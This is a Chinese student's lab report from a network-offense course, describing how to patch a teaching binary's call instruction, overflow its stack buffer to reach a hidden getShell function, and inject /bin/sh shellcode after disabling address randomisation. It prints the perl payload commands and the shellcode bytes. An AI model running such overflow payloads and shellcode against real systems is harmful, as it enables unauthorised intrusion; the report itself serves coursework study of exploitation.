2019-2020-2 20175233 《网络对抗技术》 Exp1 PC平台逆向破解

2019-2020-2 20175223 《网络对抗技术》 Exp1 PC平台逆向破解


实验目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。


基础知识

  1. 管道 |
  • 利用 Linux 所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入。
  1. Shell 输入/输出重定向
  • 大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。

重定向命令列表如下:

命令 说明
command > file 将输出重定向到 file
command < file 将输入重定向到 file
command >> file 将输出以追加的方式重定向到 file
n > file 将文件描述符为 n 的文件重定向到 file
n >> file 将文件描述符为 n 的文件以追加的方式重定向到 file
n >& m 将输出文件 m 和 n 合并
n <& m 将输入文件 m 和 n 合并
<< tag 将开始标记 tag 和结束标记 tag 之间的内容作为输入
  1. NOP, JNE, JE, JMP, CMP汇编指令的机器码:
汇编指令 功能 机器码
NOP 无作用 90
JNE 若不相等则转移 75
JE 若相等则转移 74
JMP 无条件转移 eb
CMP 比较 39
  1. 反汇编与十六进制编程器
  • objdump 命令

    Linux下的反汇编目标文件或者可执行文件的命令 。

  • objdump -d 参数

    --disassemble :从objfile中反汇编那些特定指令机器码的section。

    查看更多

  • 十六进制编程器 = vi/vim + xxd

    利用 vi/vim 调用外部十六进制文件显示命令 xxd 即可编辑二进制文件。

    • 查看模式下,%!xxd 将当前文本转换为16进制格式显示;
    • 查看模式下,%!xxd -r 将当前文件转换回文本格式显示。

注意:在使用 %!xxd -r 恢复格式之前,不能 :w 保存文件,否则可执行文件无法执行。


实验内容

直接修改程序机器指令,改变程序执行流程
  1. 打开pwn1所在目录

2.png

  1. objdump -d pwn1 反汇编
    1.png

  1. call 8048491 对应的机器指令 e8 d7ffffff
  2. EIP寄存器中的值(下条指令的地址):80484ba
  3. e8为call指令的机器指令
    新 EIP 值为80484ba + d7ffffff = 8048491(调用
  • 改变程序执行流程为
  1. 计算调用的偏移量:804847d-80484ba=ffffffc3
  2. 新机器指令:e8 c3 ff ff ff
  • 修改程序机器指令
    1.vi pwn1打开文件后为乱码,后输入%!xxd将当前文本转换为16进制格式显示,
    输入/e8 d7 查找指令,修改为c3,输入%!xxd -r转换为原格式,wq保存退出。
  1. 反编译结果
    4.png

通过构造输入参数,造成BOF攻击,改变程序执行流程
  • objdump -d pwn2 了解 函数
    5.png
  1. 读入字符串,但系统只预留了28字节的缓冲区
  2. 上面的call调用foo,同时在堆栈上压上返回地址值:80484ba
  • 确认输入字符串哪几个字符会覆盖到返回地址
  1. 用gdb pwn2调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生段错误产生溢出
    6.png
    2.使用info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址,接下来我们就要把字符串中会覆盖EIP的字符替换成getShell的地址。
    8.png

3.getshell函数的地址为:0x0804847d,由于小端优先,而且输入字符串时以ASCII码输入,因此要转换为\x7d\x84\x04\x08

4.输入 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
7.png

后使用xxd input查看input文件的内容是否如预期。
9.png

5.(cat input; cat) | ./pwn2

cat input; cat 的输出,通过管道符“|”,作为 pwn2 的输入。
10.png


注入Shellcode并执行
  • 准备shellcode
  1. shellcode就是一段机器指令(code)
  2. 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
  3. 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
  •  实践采用老师推荐的shellcode。如下:
    

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

  • 检查 execstack 安装情况
    11.png

  • 准备、初始设置

     execstack -s pwn1    //设置堆栈可执行
     execstack -q pwn1    //查询文件的堆栈是否可执行
     more /proc/sys/kernel/randomize_va_space 
     echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
     more /proc/sys/kernel/randomize_va_space 
    

12.png

  • anything+retaddr+nops+shellcode 构造成功攻击buf的结构(成功,跳过错误示范)
  • 由 gdb 来调试pwn3 这个进程。
  1. ps -ef | grep pwn 查看进程号;
    13.png

  2. 另一终端使用 gdb ,调用进程 attach 1804
    14.png

  3. 反汇编 函数disassemble foo

  4. 设置 ret 断点 break *0x080484ae

  5. 另一终端按下回车

  6. 再回到 gdb 终端输入 c 继续运行;

  7. info r esp 查看 %esp 的值;

  8. x/16x 0xffffe348 显示 shellcode 前的起始地址:
    15.png

  • 注入一段代码,构造一个input_shellcode

    perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  • (cat input_shellcode;cat) | ./pwn3 注入:
    16.png


总结

  • 收获与感想

    • 第一次做这类实验,遇到了一些困难,都解决了,也明白了其中的原理。虽然是按照指导书进行操作攻击,但成功后还是很激动,毕竟是第一次自己动手实现缓冲区溢出攻击。
  • 什么是漏洞?漏洞有什么危害?

    • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。
    • 可引起经济损失、机密泄露、隐私暴露、数据篡改等问题。
posted @ 2020-03-11 20:29  20175233  阅读(123)  评论(0)    收藏  举报